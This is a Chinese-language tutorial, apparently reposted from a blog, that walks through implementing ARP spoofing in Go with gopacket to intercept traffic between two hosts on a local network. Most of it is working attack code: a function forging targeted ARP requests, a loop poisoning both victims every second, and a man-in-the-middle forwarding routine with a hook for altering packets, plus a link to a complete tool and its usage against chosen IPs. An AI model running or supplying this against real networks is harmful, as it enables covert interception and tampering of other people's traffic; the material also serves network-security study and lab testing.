arp欺騙進行流量截獲-2


上一篇講了原理,那么這一篇主要講如何實現。基本上也就是實現上面的兩個步驟,這里基於gopacket實現,我會帶着大家一步步詳細把每個步驟都講到。

ARP 欺騙

首先就是偽造ARP請求,讓A和B把數據包發到我這里來。

利用gopacket 發送一個ARP請求,下面是一個實現函數,可以用來發送一個指定ip地址和mac地址的arp請求。

//send a arp reply from srcIp to dstIP
func SendAFakeArpRequest(handle *pcap.Handle, dstIP, srcIP net.IP, dstMac, srcMac net.HardwareAddr) {

arpLayer := &layers.ARP{
AddrType:layers.LinkTypeEthernet,
Protocol:layers.EthernetTypeIPv4,
HwAddressSize:6,
ProtAddressSize:4,
Operation:layers.ARPRequest,
DstHwAddress:dstMac, //
正常情況下,這里應該是FFFFFFFFF,但是這里通過指定來發送虛假定向ARP請求
DstProtAddress:[]byte(dstIP.To4()),
SourceHwAddress:srcMac,
SourceProtAddress:[]byte(srcIP.To4()),
}

ethernetLayer := &layers.Ethernet{
SrcMAC: srcMac,
DstMAC: dstMac, //
正常情況下,這里應該是FFFFFFFFF,但是這里通過指定來發送虛假定向ARP請求
EthernetType:layers.EthernetTypeARP,
}

// And create the packet with the layers
buffer := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths:true,
ComputeChecksums:true,
}
err := gopacket.SerializeLayers(buffer, opts,
ethernetLayer,
arpLayer,
)
if err != nil {
log.Error(err)
}
outgoingPacket := buffer.Bytes()
log.Debug("sending arp")
//log.Debug(hex.Dump(outgoingPacket))
handleMutex.Lock()
err = handle.WritePacketData(outgoingPacket)
handleMutex.Unlock()
if err != nil {
log.Error(err)
}
}

 

 

    下面是循環向A和B播報虛假MAC地址,其中要攻擊的就是IP1和ip2

//tell ip1 that ip2's mac is mymac and tell ip2 that ip1's mac is mymac periodly
func sendSudeoArpInfo(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, shouldStop *bool) {
fmt.Printf("start sending fake arp packets...\n")
handle, err := pcap.OpenLive(interfaceName, 65535, false, pcap.BlockForever)
handle.SetDirection(pcap.DirectionOut)
defer handle.Close()
if err != nil {
log.Fatal(err)
}
for ! (*shouldStop) {
//tell ip1 that ip2's mac is mymac
SendAFakeArpRequest(handle, ip1, ip2, mac1, mymac)
//tell ip2 that ip1's mac is mymac
SendAFakeArpRequest(handle, ip2, ip1, mac2, mymac)
time.Sleep(1 * time.Second)

}

}

 

這樣第一步就完成了。

剩下的就是第二步,等待數據包到來,然后進行轉發

IP轉發

如果只是單純想觀察一下數據流,比如把數據報保存下來,留作以后分析等,那其實很簡單,我們可以不用編程,直接使用ip forward這樣的功能,如果在linux下,可以直接這樣:

#:> echo 1 > /proc/sys/net/ipv4/ip_forward

sudo sysctl -w net.inet.ip.forwarding=1

這里我們主要講如何用程序來實現。arppoisoning函數會進行包轉發,參數很直觀,第一個是要處理的網卡,最后一個用來控制停止。

/*
將截獲ip1ip2之間通信的所有流量,自己相當於是一個中間人的角色,
close(stop) or write somthing to stop when you want to stop
*/
func ArpPoisoning(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, stop chan bool) {
var filter string = fmt.Sprintf("ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())
err = handle.SetBPFFilter(filter) //
設置包過濾,只處理ip1 ip2
if err != nil {
log.Fatal(err)
return
}
log.Infof("capture filter: ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String())
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())

ip2Mac := make(map[string]net.HardwareAddr)
ip2Mac[ip1.String()] = mac1
ip2Mac[ip2.String()] = mac2
in := packetSource.Packets()

var packet gopacket.Packet
for {
select {
case <-stop:
shouldStop = true
time.Sleep(3 * time.Second) //
多等一會兒,讓arp發送線程有機會結束
return
case
packet = <-in:
layer := packet.Layer(layers.LayerTypeEthernet)
log.Debug("receive a packet")
if layer != nil {
ethLayer := layer.(*layers.Ethernet) //
下面這一段來判斷是ip1ip2之間的數據包,如果是,那么應該進行mac地址修改,然后再轉發
if bytes.Compare(ethLayer.DstMAC, mymac) == 0 {
layer = packet.Layer(layers.LayerTypeIPv4)
if layer != nil {
iplayer := layer.(*layers.IPv4)
//
目標mac是我,並且ip地址是我要監聽的兩個,那么轉發
if ( (ipEqual(iplayer.DstIP, ip1) && ipEqual(iplayer.SrcIP, ip2) ) ||
( ipEqual(iplayer.DstIP, ip2) && ipEqual(iplayer.SrcIP, ip1) )) {
log.Debug("receive a valid packet...")
raw := PacketHandler(packet, ip2Mac)
//handleMutex.Lock()
err := handle.WritePacketData(raw)
log.Debug("resend this packet..")
//handleMutex.Unlock()
if err != nil {
log.Error(err)
return
}

}
}
}

}
}
}

}

 

PacketHandler 可以自定義,這樣可以實現自己想要的功能,比如修改包的內容再轉發等等。

下面是基本的PacketHandler實現,就是什么都不做,只是轉發。

func PacketHandler(packet gopacket.Packet, ip2Mac map[string]net.HardwareAddr) []byte {
data := packet.Data()
layer := packet.Layer(layers.LayerTypeIPv4)
iplayer := layer.(*layers.IPv4)
layer = packet.Layer(layers.LayerTypeEthernet)
ethLayer := layer.(*layers.Ethernet)
dstMac := ip2Mac[iplayer.DstIP.String()] //
找到真正的mac地址是什么,然后修改
//copy(data,dstMac)
for i := 0; i < len(dstMac); i++ {
data[i] = dstMac[i]
}
return data
}

 

到此為止,已經把ARP欺騙進行流量截獲的基本原理以及實現方法講解完畢,當然真正的可運行程序要比這上面說的復雜,要考慮到使用方便等,完整的實現可以見https://github.com/nkbai/arppoison

 

用法

arppoison -ip1 192.168.56.103 -ip2 192.168.56.104 -t seconds -d
-ip1,-ip2: the ip will be attacked
-t how many seconds to attack
default is 3000 *3600 seconds, 3000 hour
-d print debug message


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM